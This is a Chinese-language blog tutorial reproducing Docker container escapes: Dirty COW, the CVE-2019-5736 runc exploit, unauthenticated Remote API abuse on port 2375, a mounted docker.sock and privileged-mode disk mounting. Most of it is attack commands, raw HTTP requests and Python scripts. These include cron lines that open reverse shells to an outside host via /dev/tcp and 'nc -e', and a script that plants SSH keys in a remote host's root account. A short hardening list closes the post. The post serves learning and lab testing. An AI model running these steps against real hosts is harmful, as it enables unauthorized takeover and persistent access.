docker 逃逸简介

水深无声 2021-08-31 23:32 423阅读 0赞

**目录**

前言

Docker逃逸原因

docker环境判断

实验环境

环境搭建

内核漏洞

Dirty COW漏洞逃逸

容器服务缺陷

CVE-2019-5736漏洞逃逸

配置不当引发的docker逃逸

1、emote api 未授权访问

2、docker.sock挂载到容器内部

3、特权模式

防御docker逃逸

参考文章

--------------------

# 前言 #

前不久看到几篇实战文章用到了docker逃逸技术，自己之前没接触过，整理复现下常用的Docker逃逸方法，可能存在认知错误的地方，希望各位大佬指出，感激不尽。

Docker是当今使用范围最广的开源容器技术之一，具有高效易用的优点。然而如果使用Docker时采取不当安全策略，则可能导致系统面临安全威胁。

## Docker逃逸原因 ##

目前的 Docker 逃逸的原因可以划分为三种：

由内核漏洞引起 ——Dirty COW(CVE-2016-5195)  
由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271  
由配置不当引起——开启privileged（特权模式）+宿主机目录挂载（文件挂载）、功能（capabilities）机制、sock通信方式

# docker环境判断 #

实战中首先需要判断服务器是否为docker环境。常用的判断方法有两种。  
1、是否存在.dockerenv文件  
docker环境下存在：ls -alh /.dockerenv 文件![format_png][]

非docker环境，没有.dockerenv文件

![format_png 1][]

2、查询系统进程的cgroup信息  
docker环境下 cat /proc/1/cgroup

![format_png 2][]

非docker环境下cat /proc/1/cgroup

![format_png 3][]

# 实验环境 #

宿主机：阿里云centos8  
Docker版本：18.06.0-ce  
镜像版本：centos7

## 环境搭建 ##

centos下运行sh文件  
[https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/][https_gist.githubusercontent.com_thinkycx_e2c9090f035d7b09156077903d6afa51_raw]

![format_png 4][]

自动安装docker环境，运行centos和ubuntu镜像![format_png 5][]

查看容器

docker ps -a
    docker ps -a -q # 查看哪些是停止状态的容器

![format_png 6][]

启动容器

docker start 容器ID

![format_png 7][]

进入容器

docker exec -ti 容器ID /bin/bash

![format_png 8][]

# 内核漏洞 #

## Dirty COW漏洞逃逸 ##

Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞，源于Linux内核的内存子系统在处理写入时拷贝（copy-on-write, Cow）存在竞争条件（race condition），允许恶意用户提权获取其他只读内存映射的写访问权限。  
竞争条件意为任务执行顺序异常，可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞，攻击者可在其目标系统内提升权限，甚至获得root权限。VDSO就是Virtual Dynamic Shared Object（虚拟动态共享对象），即内核提供的虚拟.so。该.so文件位于内核而非磁盘，程序启动时，内核把包含某.so的内存页映射入其内存空间，对应程序就可作为普通.so使用其中的函数。  
在容器中利用VDSO内存空间中的“clock\_gettime() ”函数可对脏牛漏洞发起攻击，令系统崩溃并获得root权限的shell，且浏览容器之外主机上的文件。  
docker和宿主机共享内核，搭建的阿里云环境不存在Dirty Cow漏洞，可以使用存在漏洞的宿主机搭建，也可以使用i春秋的靶机进行复现。[https://www.ichunqiu.com/experiment/detail?id=100297&source=2][https_www.ichunqiu.com_experiment_detail_id_100297_source_2]

1、运行docker镜像

docker run --name=test -p 1234:1234 -itd dirtycow /bin/bash   //使用本地1234端口连接docker的1234端口运行dirtycow镜像，并将其临时命名为test

2、进入镜像内部操作

docker exec -it test /bin/bash

![format_png 9][]

3、运行漏洞exp  
下载地址：[https://github.com/scumjr/dirtycow-vdso][https_github.com_scumjr_dirtycow-vdso]

cd /dirtycow-vdso/    //进入dirtycow-vdso文件夹
    make       //使用make命令编译.c文件
    ./0xdeadbeef     //运行0xdeadbeef 文件

显示successfully表示成功。

![format_png 10][]

成功获取到宿主机的shell。

![format_png 11][]

# 容器服务缺陷 #

## CVE-2019-5736漏洞逃逸 ##

1、漏洞原理：  
Docker、containerd或者其他基于runc的容器在运行时存在安全漏洞，攻击者可以通过特定的容器镜像或者exec操作获取到宿主机runc执行时的文件句柄并修改掉runc的二进制文件，从而获取到宿主机的root执行权限。  
2、影响版本：  
平台或产品 受影响版本  
Docker Version < 18.09.2  
runC Version <= 1.0-rc6  
3、漏洞复现  
首先编译go脚本，生成攻击payload  
[https://github.com/Frichetten/CVE-2019-5736-PoC][https_github.com_Frichetten_CVE-2019-5736-PoC]  
修改脚本中的反弹地址为自己vps地址。

![format_png 12][]

编译生成payload  
CGO\_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

![format_png 13][]

将编译好的文件拷贝到docker容器中。

docker cp main 78e0d8daa906:/home
    docker exec -it 78e0d8daa906 /bin/bash
    cd /home/
    chmod 777 main

![format_png 14][]

运行main文件，使用nc监听反弹的端口，等待启动docker

![format_png 15][]

![format_png 16][]

nc接收到反弹的shell

![format_png 17][]

由于容器服务缺陷导致的逃逸还包括Docker cp CVE-2019-14271和Docker build code execution CVE-2019-13139，利用起来都具有一定的限制条件，具体原理和利用可参考：  
[https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/][https_unit42.paloaltonetworks.com_docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271]  
[https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/][https_staaldraad.github.io_post_2019-07-16-cve-2019-13139-docker-build]

# 配置不当引发的docker逃逸 #

## 1、emote api 未授权访问 ##

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务，可以通过HTTP、Python、调用API来操作Docker。  
当使用官方推荐启动方式时

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

在没有其他网络访问限制的主机上使用，则会在公网暴漏端口。

![format_png 18][]

![format_png 19][]

漏洞利用：  
1、首先列出所有容器，得到id字段

http://x.x.x.x:2375/containers/json

![format_png 20][]

2、然后创建一个 exec

POST /containers/<container_id>/exec HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    Content-Length: 188
    
    {
      "AttachStdin": true,
      "AttachStdout": true,
      "AttachStderr": true,
      "Cmd": ["cat", "/etc/passwd"],
      "DetachKeys": "ctrl-p,ctrl-q",
      "Privileged": true,
      "Tty": true
    }

使用burp模拟post请求发包，得到返回的id参数。

![format_png 21][]

3、启动exec,成功执行了系统命令，读取到了passwd文件。

POST /exec/<exec_id>/start HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    
    {
     "Detach": false,
     "Tty": false
    }

![format_png 22][]

成功获取到docker主机的命令执行权限，但是还无法逃逸到宿主机。  
尝试通过写计划任务或者写ssh密钥得到宿主机权限  
1、在容器内安装Docker作为client（可能需要换国内源）

apt-get install docker.io

2、查看宿主机docker镜像信息

docker -H tcp://x.x.x.x:2375 images

![format_png 23][]

3、启动一个容器并将宿主机根目录挂在到容器的nuoyan目录

docker -H tcp://x.x.x.x:2375 run -it -v /:/nuoyan adafef2e596e /bin/bash

![format_png 24][]

4、写计划任务反弹shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8877 0>&1' >> /nuoyan/var/spool/cron/root

![format_png 25][]

5、成功获取到宿主机shell，逃逸成功。

![format_png 26][]

还可以使用师傅们写好的python脚本  
写ssh密钥

# coding:utf-8
    import docker
    import socks
    import socket
    import sys
    import re
    
    #开启代理
    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
    #socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
    socket.socket = socks.socksocket
    
    ip = '172.16.145.165'
    cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto') 
    #端口不一定为2375，指定version参数是因为本机和远程主机的API版本可能不同，指定为auto可以自己判断版本
    image = cli.images.list()[0]
    
    #读取生成的公钥
    f = open('id_rsa_2048.pub', 'r')
    sshKey = f.read()
    f.close()
    
    try:
        cli.containers.run(
            image=image.tags[0], 
            command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久，这是正确有效的写法，在有重定向时直接写命令是无法正确执行的，记得加上sh -c
            volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录
            name='test' #给容器命名，便于后面删除
        )
    except docker.errors.ContainerError as e:
        print(e)
    
    #删除容器
    try:
        container = cli.containers.get('test')
        container.remove()
    except Expection as e:
        continue

写计划任务(by P牛)

import docker
    
    client = docker.DockerClient(base_url='http://your-ip:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

## 2、docker.sock挂载到容器内部 ##

Docker采用C/S架构，我们平常使用的Docker命令中，docker即为client，Server端的角色由docker daemon扮演，二者之间通信方式有以下3种：

1、unix:///var/run/docker.sock
    2、tcp://host:port
    3、fd://socketfd

其中使用docker.sock进行通信为默认方式，当容器中进程需在生产过程中与Docker守护进程通信时，容器本身需要挂载/var/run/docker.sock文件。  
本质上而言，能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令，以root权限运行的Docker服务通常可以访问整个主机系统。  
因此，当容器访问docker socket时，我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket，我们便可在其内部安装client（docker），通过docker.sock与宿主机的server（docker daemon）进行交互，运行并切换至不安全的容器B，最终在容器B中控制宿主机。  
利用过程：  
1、首先运行一个挂载/var/run/的容器

docker run -it -v /var/run/:/host/var/run/ adafef2e596e /bin/bash

![format_png 27][]

2、寻找下挂载的sock文件

find / -name docker.sock

![format_png 28][]

3、在容器内安装Docker作为client（可能需要换国内源）

apt-get install docker.io

4、查看宿主机docker信息

docker -H unix:///host/var/run/docker.sock info

![format_png 29][]

5、运行一个新容器并挂载宿主机根路径

docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

![format_png 30][]

6、在新容器/nuoyan路径下完成对宿主机资源的访问

![format_png 31][]

7、写入计划任务文件，反弹shell

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /nuoyan/var/spool/cron/root

![format_png 32][]

成功接收到宿主机反弹的shell

![format_png 33][]

## 3、特权模式 ##

特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。  
使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。  
当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。  
利用过程：  
1、首先以特权模式运行一个docker容器

docker run -it --privileged d27b9ffc5667 /bin/bash

![format_png 34][]

2、查看磁盘文件

fdisk -l

![format_png 35][]

3、vda1存在于/dev目录下

![format_png 36][]

4、新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /nuoyan
    mount /dev/vda1 /nuoyan

![format_png 37][]

5、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /nuoyan/var/spool/cron/root

![format_png 38][]

6、开启nc监听，成功接收到宿主机反弹的shell

![format_png 39][]

# 防御docker逃逸 #

> 1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736  
> 2、runc版本 > 1.0-rc6  
> 3、k8s 集群版本>1.12  
> 4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)  
> 5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛)，未找到docker逃逸利用过程，但存在逃逸风险  
> 6、不建议以root权限运行Docker服务  
> 7、不建议以privileged（特权模式）启动Docker  
> 8、不建议将宿主机目录挂载至容器目录  
> 9、不建议将容器以—cap-add=SYSADMIN启动，SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作，存在容器逃逸风险

# 参考文章 #

> [https://www.freebuf.com/company-information/205006.html][https_www.freebuf.com_company-information_205006.html]  
> [https://xz.aliyun.com/t/6167][https_xz.aliyun.com_t_6167]  
> [https://compass.zhongan.io/blog/?p=111][https_compass.zhongan.io_blog_p_111]  
> [https://cloud.tencent.com/developer/article/1512483][https_cloud.tencent.com_developer_article_1512483]  
> [https://blog.csdn.net/lhh134/article/details/104107776][https_blog.csdn.net_lhh134_article_details_104107776]  
> [https://xz.aliyun.com/t/7881][https_xz.aliyun.com_t_7881]  
> [https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/][https_gist.githubusercontent.com_thinkycx_e2c9090f035d7b09156077903d6afa51_raw]  
> [https://www.anquanke.com/post/id/193218][https_www.anquanke.com_post_id_193218]  
> [https://zhuanlan.zhihu.com/p/93104462][https_zhuanlan.zhihu.com_p_93104462]  
> [https://www.secpulse.com/archives/45905.html][https_www.secpulse.com_archives_45905.html]  
> [https://compass.zhongan.io/blog/?p=111][https_compass.zhongan.io_blog_p_111]  
> [https://blog.csdn.net/github\_37216944/article/details/80535541][https_blog.csdn.net_github_37216944_article_details_80535541]

[format_png]: /images/20210728/ca54aee289bc4dd591df492f8facbda9.png
[format_png 1]: /images/20210728/989ecf883af64f54bf60d100cade91b5.png
[format_png 2]: /images/20210728/e4ea5bcf3e2f46ff850e244d76649dca.png
[format_png 3]: /images/20210728/b75f773d2f7944da8273f0a0831eb213.png
[https_gist.githubusercontent.com_thinkycx_e2c9090f035d7b09156077903d6afa51_raw]: https://links.jianshu.com/go?to=https%3A%2F%2Fgist.githubusercontent.com%2Fthinkycx%2Fe2c9090f035d7b09156077903d6afa51%2Fraw%2F
[format_png 4]: /images/20210728/f0e643b58ff34a9eaab04f692ba6c6c3.png
[format_png 5]: /images/20210728/ac09bbf7f8d6419ca664614a554ca425.png
[format_png 6]: /images/20210728/fb5b5e2466b941a8a50cc7f86e7d22c4.png
[format_png 7]: /images/20210728/a743e3fc020f4afabe3d5728b81c2e11.png
[format_png 8]: /images/20210728/a14754e46d08485287894f28c6407e63.png
[https_www.ichunqiu.com_experiment_detail_id_100297_source_2]: https://links.jianshu.com/go?to=https%3A%2F%2Fwww.ichunqiu.com%2Fexperiment%2Fdetail%3Fid%3D100297%26source%3D2
[format_png 9]: /images/20210728/21da04f5ee77472db3d939ea70cd2b4c.png
[https_github.com_scumjr_dirtycow-vdso]: https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fscumjr%2Fdirtycow-vdso
[format_png 10]: /images/20210728/0aedbb24efb947689392aa7b1106b319.png
[format_png 11]: /images/20210728/049e914d1bfb4b14adbacbab963840b0.png
[https_github.com_Frichetten_CVE-2019-5736-PoC]: https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2FFrichetten%2FCVE-2019-5736-PoC
[format_png 12]: /images/20210728/a19ba8a68eb54c5daa0c80f506166721.png
[format_png 13]: /images/20210728/1bf9009539574423b1c40326864ab2c6.png
[format_png 14]: /images/20210728/aaedeb2a2c314482a3adf6477bceafa1.png
[format_png 15]: /images/20210728/9c917aa312f542b9a0abdba3fd6e521b.png
[format_png 16]: /images/20210728/e73d5c961e40448e9558fbc6590a42bd.png
[format_png 17]: /images/20210728/bd9ab813ce554621802f5bb6b4e7936a.png
[https_unit42.paloaltonetworks.com_docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271]: https://links.jianshu.com/go?to=https%3A%2F%2Funit42.paloaltonetworks.com%2Fdocker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271%2F
[https_staaldraad.github.io_post_2019-07-16-cve-2019-13139-docker-build]: https://links.jianshu.com/go?to=https%3A%2F%2Fstaaldraad.github.io%2Fpost%2F2019-07-16-cve-2019-13139-docker-build%2F
[format_png 18]: /images/20210728/bd68eaf6b7f44016803f0053b45e916c.png
[format_png 19]: /images/20210728/c398122131624c9a9cfb96d1fbfa7be5.png
[format_png 20]: /images/20210728/831dd26ccbd745549e51fec861f878f6.png
[format_png 21]: /images/20210728/4fd42a7987fb4ba797354e925f11d300.png
[format_png 22]: /images/20210728/74dff506528c4d1ba1cbaaa8dd1032b6.png
[format_png 23]: /images/20210728/c3c563af63fb4c6fb80402b82ff81b13.png
[format_png 24]: /images/20210728/95c966b952644f479c5c188728819e24.png
[format_png 25]: /images/20210728/4daaf6fec00a49c8a113bdcaa1faa1d1.png
[format_png 26]: /images/20210728/eb7367df86334226aecc8755bc2aa5a1.png
[format_png 27]: /images/20210728/df6ef97807064f6fbf3aab01f09c7a1b.png
[format_png 28]: /images/20210728/60e777c14640403c93e348db72619f58.png
[format_png 29]: /images/20210728/2059de1e99bf4813a544909582b93d45.png
[format_png 30]: /images/20210728/04680eaab245466b9ba56805ed881216.png
[format_png 31]: /images/20210728/e3cc91c39ceb429bb9d5a7ab46602ffa.png
[format_png 32]: /images/20210728/9a47c9bb0c524f8b86019045b30fbdc4.png
[format_png 33]: /images/20210728/2ff719c0443842d7a702416ad33ced0b.png
[format_png 34]: /images/20210728/b8d4547a856a4165bc4e288d2566175e.png
[format_png 35]: /images/20210728/b7106129a6b446b1bfe76f47ba689864.png
[format_png 36]: /images/20210728/bfab1a822eb649b5972fb845a9c098b6.png
[format_png 37]: /images/20210728/8d2b3e6c9eef4f9d9712caf8087e96ef.png
[format_png 38]: /images/20210728/bbf2a7112fde4d5dbf370c800e27ace2.png
[format_png 39]: /images/20210728/f8e7d196343141dabb50f860e7bd1cdd.png
[https_www.freebuf.com_company-information_205006.html]: https://links.jianshu.com/go?to=https%3A%2F%2Fwww.freebuf.com%2Fcompany-information%2F205006.html
[https_xz.aliyun.com_t_6167]: https://links.jianshu.com/go?to=https%3A%2F%2Fxz.aliyun.com%2Ft%2F6167
[https_compass.zhongan.io_blog_p_111]: https://links.jianshu.com/go?to=https%3A%2F%2Fcompass.zhongan.io%2Fblog%2F%3Fp%3D111
[https_cloud.tencent.com_developer_article_1512483]: https://links.jianshu.com/go?to=https%3A%2F%2Fcloud.tencent.com%2Fdeveloper%2Farticle%2F1512483
[https_blog.csdn.net_lhh134_article_details_104107776]: https://links.jianshu.com/go?to=https%3A%2F%2Fblog.csdn.net%2Flhh134%2Farticle%2Fdetails%2F104107776
[https_xz.aliyun.com_t_7881]: https://links.jianshu.com/go?to=https%3A%2F%2Fxz.aliyun.com%2Ft%2F7881
[https_www.anquanke.com_post_id_193218]: https://links.jianshu.com/go?to=https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F193218
[https_zhuanlan.zhihu.com_p_93104462]: https://links.jianshu.com/go?to=https%3A%2F%2Fzhuanlan.zhihu.com%2Fp%2F93104462
[https_www.secpulse.com_archives_45905.html]: https://links.jianshu.com/go?to=https%3A%2F%2Fwww.secpulse.com%2Farchives%2F45905.html
[https_blog.csdn.net_github_37216944_article_details_80535541]: https://links.jianshu.com/go?to=https%3A%2F%2Fblog.csdn.net%2Fgithub_37216944%2Farticle%2Fdetails%2F80535541